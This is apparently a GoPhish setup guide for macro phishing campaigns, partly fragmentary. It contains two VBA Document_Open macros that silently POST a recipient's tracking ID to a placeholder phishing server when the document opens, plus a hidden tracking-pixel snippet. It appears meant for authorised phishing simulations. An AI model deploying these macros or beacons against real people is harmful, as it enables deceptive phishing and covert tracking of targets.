Exim transport_filter python script that puts a user's RID value where a macro can see it for macro phishing
exim.conf
as a transport_filter
for the remote_smtp
transport (e.g. transport_filter = "/usr/bin/python3 /path/to/script.py"
). See here for more information.The email template can be whatever you want, but must include the following exactly somewhere in the body:
<!-- RID: {{.RId}} -->
This is how the script knows the user's RID. It will be removed by the script, so don't worry if you're sending a plain text email.
Next, add an attachment created as follows:
N.B.: The drawback to this form is that it does not support "Clicked link" status; you will only know if the user enabled macros. However, it is simpler and is probably less suspicious (to spam filters, at least).
Private Sub Document_Open()
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
URL = "http://YourGoPhishServer.com/?rid=" & Replace(ActiveDocument.BuiltInDocumentProperties("Comments"),".","")
objHTTP.Open "POST", URL, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send("")
End Sub
{{.RidPlaceholder}}
This is slightly more complex to create and more suspicious; however, it will show you if the user opened the document without enabling macros.
Private Sub Document_Open()
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
URL = "http://YourGoPhishServer.com/?rid=" & ActiveDocument.BuiltInDocumentProperties("Author")
objHTTP.Open "POST", URL, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send("")
End Sub
<o:DocumentProperties>
<o:Author>John</o:Author>
<o:LastAuthor>John</o:LastAuthor>
{{.RIDPLACEHOLDER}}
(case-sensitive)</body>
)</div></body>
portion:
<img src=3D"http://YourGoPhishServer/?rid=3D{{.RIDPLACEHOLDER}}" height=3D1 width=3D1/>
N.B. The "3D" parts are VERY IMPORTANT to this working properly. It's part of how the document is encoded/escaped. I would suggest copying it exactly as shown and just modifying the server URL.
Have fun!